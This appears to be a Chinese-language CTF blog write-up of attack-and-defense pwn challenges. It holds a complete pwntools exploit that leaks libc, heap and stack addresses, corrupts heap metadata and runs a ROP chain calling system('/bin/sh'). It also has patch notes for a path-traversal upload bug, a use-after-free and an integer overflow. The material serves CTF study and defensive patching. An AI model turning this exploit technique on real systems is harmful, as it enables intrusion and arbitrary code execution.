0xa0 + 0x70: p64(ret),#p64(environ_addr),
0xa0 + 0x78: p64(0x400),
}, filler=b'\x00')
log.info(f'payload len = {hex(len(payload))}')

edit(0x120, payload[:-1])

edit(len(rop)+1, rop)

ret怎么去找呢,主要是去找到偏移。

在泄露stack之后进入pwndbg

image-20260813201846206

然后去edit函数内下断点

image-20260813201954566

image-20260813202044124

计算一下断点的位置

0x7c7a191b4000 + 0x1742 = 0x7c7a191b5742

1
2
b *0x7c7a191b5742
c

然后再去运行界面press继续进入edit交互界面,谁便输入一些,到了断电出运行就会停止。

image-20260813202914685

计算得到偏移0x1b0。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
from pwn import *
import os
import sys
import shlex
import glob
import shutil
from pathlib import Path

# ============================================================
# GDB / pwndbg 启动加速:必须在 pwntools 调 gdb 前生效
# ============================================================
# 防止 gdb 在读取 ld/libc 符号时卡在:Downloading separate debug info ...
os.environ['DEBUGINFOD_URLS'] = ''
os.environ.setdefault('GDBHISTFILE', '/tmp/gdb_history_pwn')

# ============================================================
# 使用说明
# ============================================================
#
# 1. SYSTEM:只用本机系统环境运行
#
# python exp.py SYSTEM
#
# SYSTEM + GDB:
#
# python exp.py SYSTEM GDB
#
#
# 2. LOCAL:使用题目附件环境运行
#
# python exp.py LOCAL
#
# LOCAL 会自动找当前目录下的 ld / libc。
# 自动识别不对时,手动指定:
#
# python exp.py LOCAL LD=./ld-2.23.so LIBC=./libc-2.23.so
#
# python exp.py LOCAL LD=./ld-linux-x86-64.so.2 LIBC=./libc.so.6
#
# LOCAL + GDB:
#
# python exp.py LOCAL GDB LD=./ld-linux-x86-64.so.2 LIBC=./libc.so.6
#
# 注意:
# GDB 不会在 start() 里启动。
# 程序会先正常执行 main() 里的交互逻辑。
# 执行到 dbg() 时才 attach pwndbg。
#
#
# 3. REMOTE:远程连接
#
# python exp.py REMOTE HOST=127.0.0.1 PORT=9999 LIBC=./libc.so.6
#
# REMOTE 不会本地加载 ld/libc。
# LIBC 只用于 libc.sym 偏移计算。
#
#
# 4. 只有 libc,没有 ld,但想强行 LD_PRELOAD:
#
# python exp.py LOCAL PRELOAD LIBC=./libc.so.6
#
# 默认不推荐 PRELOAD,因为系统 loader + 题目 libc 可能不兼容。
#
#
# 5. 常用参数:
#
# SYSTEM 强制系统 libc
# LOCAL 使用题目附件环境
# REMOTE 远程连接
# GDB 执行到 dbg() 时 attach gdb/pwndbg
# DEBUG pwntools debug 日志
# PRELOAD 只有 libc 没有 ld 时强制 LD_PRELOAD
# BIN=xxx 指定程序路径,默认 ./pwn
# LD=xxx 指定 loader 路径
# LIBC=xxx 指定 libc 路径
# LIBC_DIR=x 指定 --library-path 目录
# HOST=xxx 远程地址
# PORT=xxx 远程端口
#
# ============================================================


# ================= 1. 架构与运行环境 =================

# 32 位 x86:
# context(os='linux', arch='i386', bits=32, endian='little', log_level='info')

# 64 位 x86:
context(os='linux', arch='amd64', bits=64, endian='little', log_level='info')

# 32 位 ARM 小端:
# context(os='linux', arch='arm', bits=32, endian='little', log_level='info')

# 64 位 ARM:
# context(os='linux', arch='aarch64', bits=64, endian='little', log_level='info')

# MIPS 小端:
# context(os='linux', arch='mips', bits=32, endian='little', log_level='info')

# MIPS 大端:
# context(os='linux', arch='mips', bits=32, endian='big', log_level='info')

# PowerPC 大端:
# context(os='linux', arch='powerpc', bits=32, endian='big', log_level='info')

# RISC-V 64:
# context(os='linux', arch='riscv64', bits=64, endian='little', log_level='info')

# 让 tmux split 出来的 gdb pane 也继承关闭 debuginfod 的环境。
# 旧 tmux server 不一定继承当前 shell 的 DEBUGINFOD_URLS,所以这里显式 -e。
context.terminal = ['tmux', 'splitw', '-h', '-e', 'DEBUGINFOD_URLS=', '-e', 'GDBHISTFILE=/tmp/gdb_history_pwn']
# GDB 开关说明:
# 只有命令行显式带 GDB 才 attach。
# 普通运行不会进入 pwndbg。
# 注意:pwntools 会解析并清空 sys.argv,所以 auto_tmux 不能再依赖 sys.argv[1:]。
WANT_GDB = bool(args.GDB)


def rebuild_argv_for_tmux():
"""重新构造传给 tmux 内部 python 的参数,避免 GDB/LOCAL/LD/LIBC 丢失。"""
rebuilt = []

for flag in ('SYSTEM', 'LOCAL', 'REMOTE', 'GDB', 'DEBUG', 'PRELOAD'):
if getattr(args, flag, False):
rebuilt.append(flag)

for key in ('BIN', 'HOST', 'PORT', 'LD', 'LIBC', 'LIBC_DIR'):
value = getattr(args, key, None)
if value:
rebuilt.append(f'{key}={value}')

return rebuilt


def auto_tmux():
"""
带 GDB 且当前不在 tmux 时,自动创建 tmux session。
这样 gdb.attach() 里的 tmux splitw 才能正常打开 pwndbg。

例如:
python exp.py SYSTEM GDB
python exp.py LOCAL GDB LD=./ld-linux-x86-64.so.2 LIBC=./libc.so.6
"""
if WANT_GDB and not os.environ.get('TMUX'):
cmd = ' '.join(
shlex.quote(x)
for x in [sys.executable, sys.argv[0]] + rebuild_argv_for_tmux()
)

# 用 bash -lc 包一层:如果脚本报错,tmux 不会瞬间关闭,看得到错误。
wrapped = (
f'{cmd}; '
'status=$?; '
'echo; '
'echo "[tmux] command exited with status ${status}"; '
'echo "[tmux] press Enter to close..."; '
'read _'
)

os.execvp('tmux', ['tmux', 'new-session', 'bash', '-lc', wrapped])


auto_tmux()


# ================= 2. 文件与远程配置:三模式切换器 =================

BIN = args.BIN or './pwn'

HOST = args.HOST or '127.0.0.1'
PORT = int(args.PORT or 9999)

SYSTEM_LIBC = (
'/lib/i386-linux-gnu/libc.so.6'
if context.bits == 32
else '/lib/x86_64-linux-gnu/libc.so.6'
)


def exists(path):
return path is not None and Path(path).is_file()


def first_exists(paths):
for path in paths:
if exists(path):
return path
return None


def auto_find_libc():
"""
自动寻找题目 libc。
不保证所有附件命名都能识别。
识别错就手动 LIBC=xxx。
"""
candidates = [
'./libc.so.6',
'./libc.so',
'./lib/libc.so.6',
'./libs/libc.so.6',
'./runtime/libc.so.6',
'./glibc/libc.so.6',
]

candidates += sorted(glob.glob('./libc-*.so*'))
candidates += sorted(glob.glob('./libc_*.so*'))
candidates += sorted(glob.glob('./*/libc.so.6'))
candidates += sorted(glob.glob('./*/*libc*.so*'))

return first_exists(candidates)


def auto_find_ld():
"""
自动寻找题目 loader。
识别错就手动 LD=xxx。
"""
candidates = [
'./ld.so',
'./ld-linux-x86-64.so.2',
'./ld-linux.so.2',
'./lib/ld-linux-x86-64.so.2',
'./libs/ld-linux-x86-64.so.2',
'./runtime/ld-linux-x86-64.so.2',
'./glibc/ld-linux-x86-64.so.2',
]

candidates += sorted(glob.glob('./ld-*.so*'))
candidates += sorted(glob.glob('./ld_*.so*'))
candidates += sorted(glob.glob('./*/ld-*.so*'))
candidates += sorted(glob.glob('./*/ld-linux*.so*'))

return first_exists(candidates)


# 手动指定优先级最高
CUSTOM_LD = args.LD or auto_find_ld()
CUSTOM_LIBC = args.LIBC or auto_find_libc()
CUSTOM_LIBC_DIR = args.LIBC_DIR or '.'

HAS_CUSTOM_LD = exists(CUSTOM_LD)
HAS_CUSTOM_LIBC = exists(CUSTOM_LIBC)

# 运行模式选择:
#
# python exp.py REMOTE -> REMOTE
# python exp.py SYSTEM -> SYSTEM
# python exp.py LOCAL -> LOCAL
#
# 如果没写模式:
# 同时找到 ld + libc -> LOCAL
# 否则 -> SYSTEM

if args.REMOTE:
RUN_MODE = 'REMOTE'
elif args.SYSTEM:
RUN_MODE = 'SYSTEM'
elif args.LOCAL or args.LD or args.LIBC or args.LIBC_DIR:
RUN_MODE = 'LOCAL'
elif HAS_CUSTOM_LD and HAS_CUSTOM_LIBC:
RUN_MODE = 'LOCAL'
else:
RUN_MODE = 'SYSTEM'


elf = ELF(BIN, checksec=False)
context.binary = elf


def resolve_symbol_libc():
"""
决定 libc.sym 用哪个 libc。

SYSTEM:
用系统 libc。

LOCAL:
有题目 libc 就用题目 libc。
没有就用系统 libc。

REMOTE:
有题目 libc 就用题目 libc。
没有就用系统 libc。
"""
if RUN_MODE == 'SYSTEM':
return SYSTEM_LIBC

if RUN_MODE in ('LOCAL', 'REMOTE'):
return CUSTOM_LIBC if HAS_CUSTOM_LIBC else SYSTEM_LIBC

return SYSTEM_LIBC


LIBC = resolve_symbol_libc()
LD = CUSTOM_LD if HAS_CUSTOM_LD else None

libc = ELF(LIBC, checksec=False) if exists(LIBC) else None
ld = LD if exists(LD) else None

log.info(f'RUN_MODE = {RUN_MODE}')
log.info(f'BIN = {BIN}')
log.info(f'SYSTEM_LIBC = {SYSTEM_LIBC}')
log.info(f'CUSTOM_LD = {CUSTOM_LD}')
log.info(f'CUSTOM_LIBC = {CUSTOM_LIBC}')
log.info(f'LIBC_SYMBOL = {LIBC}')


def prepare_libc_dir():
"""
给 ld --library-path 准备 libc.so.6。

情况 1:
用户指定 LIBC_DIR=xxx
直接用用户指定目录。

情况 2:
题目 libc 文件名就是 libc.so.6
直接用它所在目录。

情况 3:
题目 libc 文件名是 libc-2.23.so / libc_2.31.so
自动创建 .pwn_runtime/libc.so.6 指向它。
"""
if not HAS_CUSTOM_LIBC:
return CUSTOM_LIBC_DIR

if args.LIBC_DIR:
return args.LIBC_DIR

source = Path(CUSTOM_LIBC).resolve()

if Path(CUSTOM_LIBC).name == 'libc.so.6':
return str(source.parent)

runtime_dir = Path('.pwn_runtime')
runtime_dir.mkdir(exist_ok=True)

target = runtime_dir / 'libc.so.6'

try:
if target.exists() or target.is_symlink():
target.unlink()
target.symlink_to(source)
except Exception:
shutil.copy2(source, target)

return str(runtime_dir)


# ================= 3. 启动方式 =================

def start(argv=None):
"""
只启动进程,不进 GDB。

GDB 调试统一走 dbg()。
也就是:
p = start()
main()
执行到 dbg()
gdb.attach(p)
"""
argv = list(argv or [])

if args.DEBUG:
context.log_level = 'debug'

if RUN_MODE == 'REMOTE':
log.info(f'连接远程:{HOST}:{PORT}')
log.info(f'远程偏移使用 libc:{LIBC}')
return remote(HOST, PORT)

if RUN_MODE == 'SYSTEM':
log.info('本地运行:系统 loader + 系统 libc')
return process([BIN] + argv)

if RUN_MODE == 'LOCAL':

if HAS_CUSTOM_LD and HAS_CUSTOM_LIBC:
libc_dir = prepare_libc_dir()
cmd = [CUSTOM_LD, '--library-path', libc_dir, BIN] + argv

log.info('本地运行:题目 loader + 题目 libc')
log.info(' '.join(cmd))

return process(cmd)

if HAS_CUSTOM_LIBC and not HAS_CUSTOM_LD:
log.warning('LOCAL 模式:检测到题目 libc,但没有题目 loader。')
log.warning('默认不使用 LD_PRELOAD,本地运行降级为系统环境。')
log.warning('libc.sym 仍使用题目 libc。')

if args.PRELOAD:
log.warning('你指定了 PRELOAD,强制 LD_PRELOAD 题目 libc。可能不稳定。')
env = os.environ.copy()
env['LD_PRELOAD'] = str(Path(CUSTOM_LIBC).resolve())
return process([BIN] + argv, env=env)

elif HAS_CUSTOM_LD and not HAS_CUSTOM_LIBC:
log.warning('LOCAL 模式:检测到题目 loader,但没有题目 libc。')
log.warning('本地运行降级为系统环境。')

else:
log.warning('LOCAL 模式:没有检测到题目 ld/libc。')
log.warning('本地运行降级为系统环境。')

return process([BIN] + argv)

raise RuntimeError(f'未知 RUN_MODE: {RUN_MODE}')


p = start()

# 打印实际加载的 libc / ld,方便确认到底用了谁
try:
libs = p.libs()
for path, base in libs.items():
if 'libc' in path or 'ld' in path:
log.info(f'loaded {hex(base)} {path}')
except Exception:
pass


# ================= 4. 数据转换辅助 =================

def bstr(x):
"""
str / int / bytes 自动转 bytes。
"""
if isinstance(x, bytes):
return x
if isinstance(x, int):
return str(x).encode()
if isinstance(x, str):
return x.encode()
return x


def ptr(x):
"""
按当前架构自动 p32 / p64。
"""
if context.bits == 32:
return p32(x)
return p64(x)


def uptr(x):
"""
按当前架构自动 u32 / u64。
"""
if context.bits == 32:
return u32(x[:4].ljust(4, b'\x00'))
return u64(x[:8].ljust(8, b'\x00'))


# ================= 5. 常用收发简写 =================

def ru(x):
return p.recvuntil(bstr(x))


def rl():
return p.recvline()


def r(n):
return p.recv(n)


def ra(timeout=0.2):
return p.recvall(timeout=timeout)


def s(x):
p.send(bstr(x))


def sl(x):
p.sendline(bstr(x))


def sa(prompt, x):
p.sendafter(bstr(prompt), bstr(x))


def sla(prompt, x):
p.sendlineafter(bstr(prompt), bstr(x))


def lg(name, value):
if isinstance(value, int):
success(f'{name} = {hex(value)}')
else:
success(f'{name} = {value}')


# ================= 6. 菜单入口 =================

# 常见菜单提示:
# b'choice: ' / b'Choice: ' / b'Your choice: ' / b'Action: ' / b'>> ' / b'> '

MENU = b'> '


def menu(choice):
sla(MENU, choice)


# ================= 7. 功能函数模板:现场按题目改 =================

def Reg(ID, Name, Pass):
menu(1)
if ID is not None:
sla(b'ID: ', ID)
if Name is not None:
sla(b'Name: ', Name)
if Pass is not None:
sla(b'Pass: ', Pass)


def login(ID, Pass):
menu(2)
if ID is not None:
sla(b'ID: ', ID)
if Pass is not None:
sla(b'Pass: ', Pass)


def delete(ID):
menu(3)
sla(b'delete: ', ID)


def show():
menu(1)
# 按题目实际输出修改
# return rl() + rl()


def edit(size, content):
menu(2)
if size is not None:
sla(b'size: ', size)
if content is not None:
sa(b'Content: ', content)


# ================= 8. 多字段菜单备用模板 =================

def add_multi(size=None, name=None, content=None):
menu(1)
if size is not None:
sla(b'size: ', size)
if name is not None:
sa(b'name: ', name)
if content is not None:
sa(b'content: ', content)


def edit_with_len(index, content):
menu(4)
sla(b'index: ', index)
sla(b'length: ', len(content))
sa(b'content: ', content)


# ================= 9. 泄露辅助 =================

def leak_raw_after(prefix, n):
ru(prefix)
return r(n)


def leak_ptr_after(prefix, n=None):
"""
32 位:默认读 4 字节。
64 位:默认读 6 字节再补齐。
"""
if n is None:
n = 4 if context.bits == 32 else 6
data = leak_raw_after(prefix, n)
return uptr(data)


def leak_libc(leak_addr, symbol_name):
"""
已知某个 libc 函数真实地址,计算 libc_base。
例:
libc_base = leak_libc(puts_addr, 'puts')
"""
if libc is None:
raise RuntimeError('没有加载 libc,不能用 libc.sym 自动计算')
base = leak_addr - libc.sym[symbol_name]
lg('libc_base', base)
return base


# ================= 10. 常用地址获取 =================

def got(name):
return elf.got[name]


def plt(name):
return elf.plt[name]


def sym(name):
return elf.sym[name]


def libc_sym(base, name):
if libc is None:
raise RuntimeError('没有加载 libc')
return base + libc.sym[name]


def libc_search(base, data):
if libc is None:
raise RuntimeError('没有加载 libc')
return base + next(libc.search(data))


# ================= 11. 调试辅助 =================

def dbg(script=''):
"""
GDB attach 调试。

用法:
dbg()

临时加断点:
dbg('''
b *0x401234
c
''')

注意:
只有命令行带 GDB 才会 attach:
python exp.py LOCAL GDB
"""
log.info(f'到达 dbg(): WANT_GDB={WANT_GDB}, args.GDB={args.GDB}, tmux_args={rebuild_argv_for_tmux()}, TMUX={bool(os.environ.get("TMUX"))}')

if not WANT_GDB:
log.warning('当前为非调试模式,跳过 gdb.attach,随后会进入 p.interactive()')
return

gdb.attach(
p,
gdb_args=['-iex', 'set debuginfod enabled off'],
gdbscript='''
set pagination off
set confirm off
set verbose off
set print pretty on
set disassembly-flavor intel
set debuginfod enabled off
''' + script
)
pause()


def checksec():
elf.checksec()


# ================= 12. 利用逻辑区 =================

def main():


for i in range(13):
name = f'user{i}'.encode()
password = f'pass{i}'.encode()
Reg(i, name, password)

Reg(14, b'AAAA', b'BBBB')

for i in range(7):
name = f'user{i}'.encode()
password = f'pass{i}'.encode()
delete(i)


for i in reversed(range(7, 13)):
delete(i)

for i in range(7):
name = f'user{i}'.encode()
password = f'pass{i}'.encode()
Reg(i, name, password)



login(6, b'pass6')
edit(0x120, b'AAAA')

menu(0)
Reg(7, b'user7', b'pass7')


login(7, b'pass7')
show()

ru(b'Bio: ')
leak_data = rl().rstrip(b'\n')
print(hexdump(leak_data))
libc_leak = u64(leak_data[:6].ljust(8, b'\x00'))
lg('libc_leak', libc_leak)

libc_base = libc_leak - 0x203b20
lg('libc_base', libc_base)


environ_addr = libc_base + libc.sym['environ']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))



menu(0)


Reg(15, b'user15', b'pass15')
Reg(16, b'user16', b'pass16')
login(16, b'pass16')

show()
ru(b'Bio: ')
heap_leak = u64(r(6).ljust(8, b'\x00'))
heap_base = heap_leak - 0x2a0
lg('heap_leak', heap_leak)
lg('heap_base', heap_base)
#menu(0)

writer_bio = heap_base + 0x720
writer_bio15 = heap_base + 0x7b0
writer_bio16 = heap_base + 0x840
writer_user = heap_base + 0x7c0
s6 = heap_base + 0x2a0
s15 = heap_base + 0x850

menu(0)
#Reg(17, b'user17', b'pass17')

#login(16, b'pass16')
login(7, b'pass7')
payload = flat({
0xa0 - 0x08: b'\x91\x00',
0xa0 + 0x00: b'7\n\x00',
0xa0 + 0x10: b'user7\n\x00',
0xa0 + 0x50: b'pass7\n\x00',
0xa0 + 0x70: p64(writer_bio),#p64(environ_addr),
0xa0 + 0x78: p64(0x400),
}, filler=b'\x00')
log.info(f'payload len = {hex(len(payload))}')

edit(0x120, payload[:-1])

payload = flat({
0xa0 - 0x08: b'\x91\x00',
0xa0 + 0x00: b'7\n\x00',
0xa0 + 0x10: b'user7\n\x00',
0xa0 + 0x50: b'pass7\n\x00',
0xa0 + 0x70: p64(writer_bio),#p64(environ_addr),
0xa0 + 0x78: p64(0x400),
0xa0 + 0x80: p64(s6),

0x130 - 0x08: b'\x91\x00',
0x130 + 0x00: b'15\n\x00',
0x130 + 0x10: b'user15\n\x00',
0x130 + 0x50: b'pass15\n\x00',
0x130 + 0x70: p64(writer_bio15),
0x130 + 0x78: p64(0x400),
0x130 + 0x80: p64(writer_user),

0x1c0 - 0x08: b'\x91\x00',
0x1c0 + 0x00: b'16\n\x00',
0x1c0 + 0x10: b'user16\n\x00',
0x1c0 + 0x50: b'pass16\n\x00',
0x1c0 + 0x70: p64(environ_addr),#p64(writer_bio16)
0x1c0 + 0x78: p64(0x400),
0x1c0 + 0x80: p64(s15),
}, filler=b'\x00')
log.info(f'payload len = {hex(len(payload))}')

edit(0x248, payload[:-1])

menu(0)

login(16, b'pass16')

show()

ru(b'Bio: ')
leak_data = rl().rstrip(b'\n')
print(hexdump(leak_data))
stack_leak = u64(leak_data[:6].ljust(8, b'\x00'))
lg('stack_leak ', stack_leak )


stack_ret_delte = 0x1b0
ret = stack_leak - stack_ret_delte
#ret_off = rop.find_gadget(['ret'])[0]
#pop_rdi_off = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = libc_base + 0x2882f
pop_rdi = libc_base + 0x10f78b

rop = p64(ret_gadget)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)

menu(0)
login(7, b'pass7')
payload = flat({
0xa0 - 0x08: b'\x91\x00',
0xa0 + 0x00: b'7\n\x00',
0xa0 + 0x10: b'user7\n\x00',
0xa0 + 0x50: b'pass7\n\x00',
0xa0 + 0x70: p64(ret),#p64(environ_addr),
0xa0 + 0x78: p64(0x400),
}, filler=b'\x00')
log.info(f'payload len = {hex(len(payload))}')

edit(0x120, payload[:-1])

edit(len(rop)+1, rop)


#Reg(7, b'AAAA', b'BBBB')
# for i in range(13):
# delete(i)


# for i in reversed(range(7, 13)):
# delete(i)


#dbg()


if __name__ == '__main__':
main()
p.interactive()



#python3 exp.py LOCAL GDB LD=./ld-linux-x86-64.so.2 LIBC=./libc.so.6
#python3 exp.py LOCAL
#python exp.py SYSTEM GDB
#python3 exp.py REMOTE HOST=127.0.0.1 PORT=9999 LIBC=./libc.so.6
#python3 exp.py LOCAL PRELOAD LIBC=./libc.so.6

image-20260813203110024

fix

image-20260814094840079

image-20260814102344602

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.clear(arch='amd64', os='linux')

code = asm('''
xor edx, edx
mov qword ptr [rax+0x70], rdx
mov qword ptr [rax+0x78], rdx
mov qword ptr [rbp-0x8], rax
nop
''')

print(code.hex(' '))
print(len(code))

这里的修复就是把那两个没初始化的地方初始化一下就可以了。

长城杯

半决赛

UpNodeTrap

fix

1
2
3
4
5
6
7
8
9
10
11
12
13
    const filePath = path.join(uploadsDir, filename);
fs.writeFile(filePath, content, err => {
if (err) {
return sendJSON(res, 500, { error: 'Unable to persist file to storage.' });
}
sendJSON(res, 200, {
status: 'Upload completed.',
location: filePath
});
});
});
return;
}
1
2
3
4
const uploadsDir = path.join(__dirname, 'uploads');
if (!fs.existsSync(uploadsDir)) {
fs.mkdirSync(uploadsDir, { recursive: true });
}

文件上传这里存在漏洞可以利用路径穿越../ ,进行如下改进。

1
const filePath = path.join(uploadsDir, filename);
1
const filePath = path.join(uploadsDir, path.basename(filename));

catchme

attack

fix

image-20260826011600675

UAF漏洞我只要要加一个unk_202060 = NULL就行

image-20260826011855452

看看汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:0000000000000E05
.text:0000000000000E05 loc_E05: ; CODE XREF: sub_D78+78↑j
.text:0000000000000E05 mov eax, [rbp+var_14]
.text:0000000000000E08 cdqe
.text:0000000000000E0A lea rdx, ds:0[rax*8]
.text:0000000000000E12 lea rax, unk_202060
.text:0000000000000E19 mov rax, [rdx+rax]
.text:0000000000000E1D mov rdi, rax ; ptr
.text:0000000000000E20 call _free
.text:0000000000000E25 mov eax, 0
.text:0000000000000E2A
.text:0000000000000E2A loc_E2A: ; CODE XREF: sub_D78+5B↑j
.text:0000000000000E2A ; sub_D78+8B↑j
.text:0000000000000E2A mov rcx, [rbp+var_8]
.text:0000000000000E2E xor rcx, fs:28h
.text:0000000000000E37 jz short locret_E3E
.text:0000000000000E39 call ___stack_chk_fail

我们要把这个部分

1
2
3
4
5
6
7
8
.text:0000000000000E25                 mov     eax, 0
.text:0000000000000E2A
.text:0000000000000E2A loc_E2A: ; CODE XREF: sub_D78+5B↑j
.text:0000000000000E2A ; sub_D78+8B↑j
.text:0000000000000E2A mov rcx, [rbp+var_8]
.text:0000000000000E2E xor rcx, fs:28h
.text:0000000000000E37 jz short locret_E3E
.text:0000000000000E39 call ___stack_chk_fail

改成

1
2
3
4
5
6
7
8
9
10
movsxd rax, dword ptr [rbp-0x14]
lea rdx, unk_202060
mov qword ptr [rdx + rax*8], 0
xor eax, eax
leave
ret
nop
nop
nop
nop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.clear(arch='amd64', os='linux')

code = asm('''
movsxd rax, dword ptr [rbp-0x14]
lea rdx, [rip + 0x201230] #0x201230 = 0x202060 - 0xE30
mov qword ptr [rdx + rax*8], 0
xor eax, eax
leave
ret
nop
nop
nop
nop
''')

print(code.hex(' '))
print(len(code))

image-20260826102246597

这个jmp由于修改后面的部分出现了问题 loc_E29+1 -> loc_E3A就行。

改完之后在函数头部重新P定义一下就行

image-20260826102501540

image-20260826102527478

第二种修复

先jmp到.eh_frame

1
2
3
4
5
6
7
8
9
10
from pwn import *

context.clear(arch='amd64', os='linux')

code = asm('''
jmp $+0x6db
''')

print(code.hex(' '))
print(len(code))

image-20260826120309575

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.clear(arch='amd64', os='linux')

code = asm('''
movsxd rax, dword ptr [rbp-0x14]
lea rdx, [rip + 0x200b55]
mov qword ptr [rdx + rax*8], 0
xor eax, eax
jmp .-0x1500-21+0xE2A
''')

print(code.hex(' '))
print(len(code))

到.eh_frame那指针置0,再跳回来。

image-20260826120932835

easy_rw_revenge

fix

image-20260831150556559

ADD函数这里存在整数溢出和UAF

整数溢出的话我吧这里的jg改成ja就可以了

1
2
jg = jump if greater        有符号比较
ja = jump if above 无符号比较

image-20260831193322684

这里有delete函数 我们可以直接利用这个delete函数

1
2
3
4
5
6
7
8
9
10
from pwn import *

context.clear(arch='amd64', os='linux')

code = asm('''
mov edi, dword ptr [rbp-0x28]
''')

print(code.hex(' '))
print(len(code))

image-20260901000207809